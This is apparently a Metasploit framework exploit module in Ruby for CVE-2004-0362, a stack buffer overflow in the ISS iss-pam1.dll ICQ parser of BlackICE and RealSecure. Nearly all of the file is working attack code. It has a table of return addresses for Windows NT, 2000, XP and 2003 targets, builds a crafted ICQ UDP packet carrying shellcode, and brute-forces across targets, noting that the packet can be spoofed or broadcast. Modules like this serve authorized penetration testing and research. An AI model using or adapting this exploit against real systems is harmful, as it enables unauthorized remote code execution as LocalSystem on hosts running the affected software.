##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ISS PAM.dll ICQ Parser Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the ISS products that use
          the iss-pam1.dll ICQ parser (Blackice/RealSecure). Successful exploitation
          will result in arbitrary code execution as LocalSystem. This exploit
          only requires 1 UDP packet, which can be both spoofed and sent to a broadcast
          address.

          The ISS exception handler will recover the process after each overflow, giving
          us the ability to bruteforce the service and exploit it multiple times.
        },
        'Author' => 'spoonm',
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2004-0362'],
          ['OSVDB', '4355'],
          ['URL', 'http://www.eeye.com/html/Research/Advisories/AD20040318.html']
        ],
        'Payload' => {
          'Space' => 504 - 31 - 4,
          'BadChars' => "\x00",
          'MinNops' => 0,
          'MaxNops' => 0,
          'StackAdjustment' => -3500
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Bruteforce', {} ],
          [ 'Bruteforce iis-pam1.dll', { 'Targets' => 3..4 } ],
          [ 'Bruteforce NT 4.0', { 'Targets' => 5..15 } ],
          [ 'iis-pam1.dll 3.6.06', { 'Ret' => 0x5e0a47ef } ],
          [ 'iis-pam1.dll 3.6.11', { 'Ret' => 0x5e0da1db } ],
          [ 'WinNT SP3/SP4/SP5', { 'Ret' => 0x777e79ab } ],
          [ 'WinNT SP4/SP5', { 'Ret' => 0x7733b8db } ],
          [ 'WinNT SP5/SP6 - advapi32', { 'Ret' => 0x77dcd1cb } ],
          [ 'WinNT SP3/SP5/SP6 - shell32', { 'Ret' => 0x77cec080 } ],
          [ 'WinNT SP5/SP6 - mswsock', { 'Ret' => 0x7767ebca } ],
          [ 'WinXP SP0/SP1 - shell32', { 'Ret' => 0x776606af } ],
          [ 'WinXP SP0/SP1 - atl', { 'Ret' => 0x76b305a7 } ],
          [ 'WinXP SP0/SP1 - atl', { 'Ret' => 0x76e61a21 } ],
          [ 'WinXP SP0/SP1 - ws2_32', { 'Ret' => 0x71ab7bfb } ],
          [ 'WinXP SP0/SP1 - mswsock', { 'Ret' => 0x71a5403d } ],
          [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
          [ 'Win2000 SP0 - SP4', { 'Ret' => 0x750231e2 } ],
          [ 'Win2000 SP2/SP3 - samlib', { 'Ret' => 0x75159da3 } ],
          [ 'Win2000 SP0/SP1 - activeds', { 'Ret' => 0x77ed0beb } ],
          [ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e3171b } ],
          [ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],
          [ 'WinXP SP0 - SP1', { 'Ret' => 0x71aa3a4b } ],
          [ 'Win2003 SP0', { 'Ret' => 0x71bf3cc9 } ],
        ],
        'DisclosureDate' => '2004-03-18',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(1)
      ]
    )
  end

  def exploit
    datastore['RPORT'] = rand(65536) if rport == 1

    targs = [ target ]

    if target.name =~ /^Brute/
      if target['Targets']
        targs = []

        target['Targets'].each { |idx|
          targs << targets[idx]
        }
      else
        targs = targets.dup

        targs.delete_at(0)
        targs.delete_at(0)
        targs.delete_at(0)
      end
    end

    targs.each { |targ|
      print_status("Trying target #{targ.name} [#{"%.8x" % targ.ret}]...")

      shellcode = payload.encoded + rand_text_english(payload_space - payload.encoded.length)
      email = rand_text_english(19) + [targ.ret].pack('V') + shellcode

      # Hopefully this structure is correct -- ported from msf 2.  Blame me
      # (skape) if it doesn't work!
      packet =
        # SRV_MULTI
        [5, 0, 0, 530, 0, 0, 1161044754, 0, 2].pack('vcVvvvVVc') +
        # SRV_USER_ONLINE
        [5, 0, 0, 110, 0, 0, 1161044754, 0].pack('vcVvvvVV') +
        [1161044754, 1, 0, 0, 0, 0, 0].pack('VVVVcVV') +
        # SRV_META_USER
        [5, 0, 0, 990, 0, 0, 2018915346, 0].pack('vcVvvvVV') +
        "\x00\x00\x0a" + # subcommand / success
        "\x00\x00" + # nick length / nick
        "\x00\x00" + # first length / first
        "\x00\x00" + # last length / last
        [email.length].pack('v') + email +
        "\x00\x00\x00\x00\x00\x00\x00"

      print_status("Sending UDP request to #{datastore['RPORT']} (#{packet.length} bytes)")

      connect_udp(true, { 'CPORT' => 4000 })
      udp_sock.put(packet)
      disconnect_udp

      print_status("Sleeping (giving exception handler time to recover)")

      select(nil, nil, nil, 5)
    }
  end
end
